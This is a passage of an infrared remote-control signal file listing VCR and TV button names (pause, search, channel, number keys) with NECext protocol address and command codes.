parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: PAUSE_> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: PAUSE_> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: VCRA_PAUSE_ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: VIDEO_A_PAUSE_ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: VCR_A_PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: SKIP-SEARCH +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: VCR_PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 10 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 11 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 13 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 13 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 13 00 00 00 +# +name: VCR_TV/VCR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 13 00 00 00 +# +name: VCR_TV/VIDEO +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 13 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 13 00 00 00 +# +name: A_TV/VIDEO +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 13 00 00 00 +# +name: VCRA_TV/VIDEO +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 13 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 13 00 00 00 +# +name: VIDEO_A_TV/VIDEO +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 13 00 00 00 +# +name: VCR_A_TV/VIDEO +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 13 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_-_RIGHT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: VCR_SEARCH_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: VCR_SEARCH_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: VARIABLE_SRCH_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: A_VAR_SRCH_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: VCR_VAR.SRCH_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: VAR.SRCH_FWD_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: VAR._SEARCH>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: VCRA_SHUTTLE_>>_(+) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: VCRA_SHUT_PLUS_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: >>_/PUSH_JOG_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: SHUTTLE_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: SEARCH_FWD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: FORWARD_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: VID_A_VAR_SEARCH_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: SHUTTLE_RIGHT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: SEARCH_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: VCRA_SRCH>>(VARIABLE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: TIME_SCAN_RIGHT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: SCAN>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: VAR_SEARCH_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: VCR_SEARCH>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: TV_VOLUME_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: SLOW_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: CURSOR_-_LEFT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: VCR_SEARCH_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: VCR_SEARCH_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: VARIABLE_SRCH_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: A_VAR_SRCH_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: VCR_VAR.SRCH_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: VAR.SRCH_REV_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: VAR._SEARCH<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: VCRA_SHUTTLE_<<_(-) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: VCRA_SHUT_PLUS_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: <<_REVIEW +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: <<_/PUSH_JOG_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: SHUTTLE_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: SEARCH_REV +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: SLOW_REWIND_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: VID_A_VAR_SEARCH_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: SHUTTLE_LEFT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: SEARCH_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: VCRA_SRCH<<(VARIABLE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: TIME_SCAN_LEFT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: SCAN<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: VAR_SEARCH_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: VCR_SEARCH<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: TV_VOLUME_-- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 17 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 17 00 00 00 +# +name: A.MONITOR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 17 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 17 00 00 00 +# +name: VID_A_AUDIO_MONITOR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 17 00 00 00 +# +name: A._MONITOR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 17 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCR_CH_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCR_CH_V +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCR_CH/SET_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: (VCR)_CHANNEL_V +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VIDEO_CH_-_NEXT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCR_CH_V_/SET_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: A_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: A_VIDEO_CH_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_V/SET_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CH_V_/SET_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CH_DOWN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CH_V +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CH/SET_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCR_CH_-_(TV_PROG) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCRA_CH/SET_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCRA_CH_V +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_-- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: TV_PROG/2SET_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CH_DN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CH_DWN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: SET_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VID_A_TV_PROG_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: SHUTTLE_DOWN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: SET- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCR_A_CH- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: TIME_SCAN_DOWN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_NEXT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: STOP_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCR_CHANNEL_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: TV_CHANNEL_-- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VCR_CH_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VCR_CH_^ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VCR_CH/SET_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: (VCR)_CHANNEL_^ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VIDEO_CH_+_BACK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VCR_CH_^_/SET_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: A_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: A_VIDEO_CH_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_^/SET_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: CH_^_/SET_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: CH_^ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: CH/SET_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VCR_CH_+_(2_SET_) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VCRA_CH/SET_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VCRA_CH_^ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: TV_PROG/2SET_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: SET_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VID_A_TV_PROG_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: SHUTTLE_UP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: SET+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VCR_A_CH+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: TIME_SCAN_UP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: CURSOR_BACK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: START_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VCR_CHANNEL_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: TV_CHANNEL_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: POWER_OFF_(ALT.) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 1A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 1A 00 00 00 +# +name: POWER_ON_(ALT.) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 1D 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 1E 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: 1_(SUN) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: A_1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: VCRA_1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: 1/START_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: 1_/_START_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: 1_(ABC) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: VIDEO_A_1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: SUN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: VCR_A_1_(ABC) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: 2_(MON) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: A_2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: VCRA_2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: 2/STOP_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: 2_/_STOP_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: 2_(DEF) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: VIDEO_A_2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: MON +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: VCR_A_2_(DEF) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: VCR_3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: 3_(TUE) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: A_3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: VCRA_3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: 3/DATE_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: 3_/_DATE_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: 3_(GHI) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: VIDEO_A_3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: TUES +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: VCR_A_3_(GHI) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: VCR_4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: 4_(WED) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: A_4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: VCRA_4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: 4/START_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: 4_/_START_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: 4_(JKL) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: VIDEO_A_4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: WED +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: VCR_A_4_(JKL) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: ENTER/OSD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: VCR_5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: 5_(THU) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: A_5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: VCRA_5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: 5/STOP_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: 5_/_STOP_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: 5_(MNO) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: VIDEO_A_5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: THUR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: VCR_A_5_(MNO) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: VCR_6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: 6_(FRI) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: A_6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: VCRA_6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: 6/DATE_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: 6_/_DATE_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: 6_(PQR) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: VIDEO_A_6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: FRI +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: VCR_A_6_(PQR) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: VCR_7 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: 7_(SAT) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: A_7 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: VCRA_7 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: 7_(STU) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: VIDEO_A_7 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: 7_/_DBS +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: VCR_A_7_(STU) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: VCR_8_(DAILY) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: 8_(2ND) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: A_8 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: VCRA_8_(DAILY_M-F) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: 8/DAILY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: 8_DAILY_(M-F) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: 8_DAILY(M-F) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: VCR_PLUS:_DAILY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: 8_(VWX)_(DAILY) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: 8_(VWX/DAILY(M-F) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: VIDEO_A_8_(DAILY) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: 8/DAILY(M-F) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: 2ND +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: VCR_A_8_(VWX) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: VCR_8/DAILY(M-F) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 